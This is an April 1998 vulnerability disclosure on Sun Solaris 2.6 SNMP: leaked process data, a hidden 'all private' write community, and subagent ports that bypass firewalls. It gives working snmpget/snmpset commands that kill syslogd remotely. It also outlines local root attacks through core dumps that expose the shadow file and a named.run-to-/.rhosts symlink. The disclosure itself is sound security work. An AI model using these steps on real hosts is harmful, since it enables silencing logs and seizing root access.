Vulnerabilities in Sun Solaris 2.6 SNMP

                      Jeremy Rauch <jrauch@infonexus.com>
        April 1998

   Sun's snmpd implementation as supplied with Solaris 2.6 includes what used
to be shipped with Sun's Solstice Admin suite as it's snmpd, and associated
subagents.  Sun's snmpd is actually pretty interesting, in that it supports
a number of features that really could be useful, if it wasn't for the fact
that snmp is so insecure.  Sun allows for the use of subagents, similar, in
concept at least, to the AgentX initiatives which were tried with other
SNMPv1 implementations.  This complexity seems to have lead to a few short 
sighted design decisions, which can be leveraged to gain extensive information
on a machine, as well as used to create both denial of service situations
on the machine, as well as making it possible to leverage things to allow
root compromise on the local host.  I believe it's also probably possible,
using either the dmi service, or some of the sunMasterAgent mib to gain
remote access.  I have not succeeded in doing so yet, but someone with
better working knowledge of the Solstice Admin Suite (or who has a copy)
could probably easily leverage this to gain remote access.


1) Information gathering ability.
   Besides the typical amounts of information available via SNMP, Sun was nice
enough to add a 'sunProccesses' group.  From this table, it's trivial to
extract a list of processes running, users logged in, idle times, TTY's, etc.
Anything you could get out of a ps or netstat.  This all lives in the 
/var/snmp/mib/sun.mib MIB.
   Sun's SNMP Master Agent MIB (/var/snmp/mib/snmpdx.mib) also has some 
interesting pieces of information that might, on the surface, not appear to
be all that interesting, but can prove to be.  This includes subagent
configuration paths, executable paths, watchdog values, listening ports for
subagents, and a whole slew of other stuff.


2) MIB manipulation
   As shipped, Sun has defined 3 communities.  They are 'public', 'private',
and 'all private'.  The first two are defined in /etc/snmp/conf/snmpdx.acl...
the final one doesn't seem  to exist in any configuration file.  Public is
read only.  Private has write access to (supposedly) only the system mib, and
'all private' has write access to the whole MIB.  Yes.  The whole MIB.  Set's
on the MIB-II that are going to work will always work via the SNMP port.  Set's
to the sunMib usually work via 161 also.  
But what if port 161 is blocked via the firewall, or via efs or ipfilter
on the host?

3) Agent Ports
   Sun's subagent idea, while a good one, is less than secure.  To manipulate
the MIB-II and the sunMib, they use a subagent called mibiisa, which runs on
some arbitrary high port, usually somewhere around 32780.  By probing the
with snmpget's on these high ports, we can find the listening port for mibiisa.
I tend to do get's for something simple like system.sysDescr.0, which will
always exist, using the 'public' community.  When a response is recieved,
we've hit the mibiisa, and can perform set's via this port with the 
'all private' community.

Sun's snmpd tends to get in weird limbo states where it behaves badly.  I
believe this has to do with the subagent communication mechanism, but I'm
not entirely sure.  Sometimes it's necessary to use the high port to do a set,
sometimes, the low one.  Sometimes you need to forge the source address as
being loopback, sometimes you don't.  Why, I have no idea.  Things also
sometimes take a few seconds to be reflected in the MIB.  Processes, for 
instance, don't always appear instantly in the MIB.

Example:  Killing a process living on a remote host behind a crappy firewall.

a) snmpget -p 32780 -v 1 hostname public system.sysDescr.0
... nothing gets returned...

snmpget -p 32781 -v 1 hostname public system.sysDescr.0  
... nothing gets returned...we keep trying ports until we get something back...

snmpget -p 32788 -v 1 hostname public system.sysDescr.0  
system.sysDescr.0 = "Sun SNMP Agent, SPARCstation-5"

So we know mibiisa lives on port 32788.

b) snmpwalk -p 32788 -v 1 hostname public \
.1.3.6.1.4.enterprises.sun.sunMib.sunProcesses

which will spew out a listing of all the processes on the machine.  Let's go 
after syslogd.

snmpwalk -p 32788 -v 1 hostname public \
.1.3.6.1.4.enterprises.sun.sunMib.sunProcesses.sunProcessTable.psEntry.psProcessName \
| grep syslogd

This results in:
enterprises.sun.sunMib.sunProcesses.sunProcessTable.psEntry.psProcessName.150 
= "syslogd"

c) 
snmpset -p 32788 -v 1 hostname "all private" \
.1.3.6.1.4.enterprises.sun.sunMib.sunProcesses.sunProcessTable.psEntry.psProcessStatus.150 i 9

will send a sigkill to syslogd.  And that's the end of logging on the machine.


4) Leveraging SNMP problems for local root access
This is actually pretty easy to accomplish.  Since we can send any signal, we
can always get things to dump core's, and as long as it read in the shadow,
we can extract it.  Something like ftp would work well.  Ftp to the machine,
send a sigtrap (5) to it, and it should dump a core in /, mode 644.  Httpd's 
may also be a line of attack.  We can also use the (now fixed) problem of 
rpcbind following of symlinks to create a /.rhosts file.  Also, since we can 
send a SIGUSR1 to in.named, we can create a /usr/tmp/named.run symlink to 
/.rhosts, send the signal via SNMP, and we're in.  (please note, .rhosts is 
just a convenient example.  Any file can be attacked)  NOTE: this is also a 
named bug, in my opinion, and should be addressed.  All the tmp file creation 
should check for existing symlinks, etc.


5) Leveraging SNMP problems for remote root access
This is still a somewhat unknown quantity.  The snmpdx.mib allows for the
addition of subagents, configurations, and states.  With better knowledge of 
the way the Solstice agent portions interact with each other, it seems likely 
that this could be leveraged for remote access.  Something along the lines of 
depositing a conformant application in a writeable directory (say, an incoming 
directory in ftp).  Causing remote mounts may also be a possibility, or using 
an automounted directory.  


6) Other questionable things
The lack of authentication used with DMI is almost as disturbing as SNMP.  Any
user can remotely install or remove configuration files and subagents using the
standard tools provided with 2.6. (dmi_cmd)  Again, something like a world 
writeable ftp dir makes this easy to do.  Again, a lack of working DMI 
knowledge makes it difficult to say just what is possible.

The in.named problems mentioned above are problems seperate from the SNMP 
issues.  If someone creates a link, they need only wait for someone to kill 
-USR1 the process to obtain root access. The file in question is named.run is 
created in /var/tmp.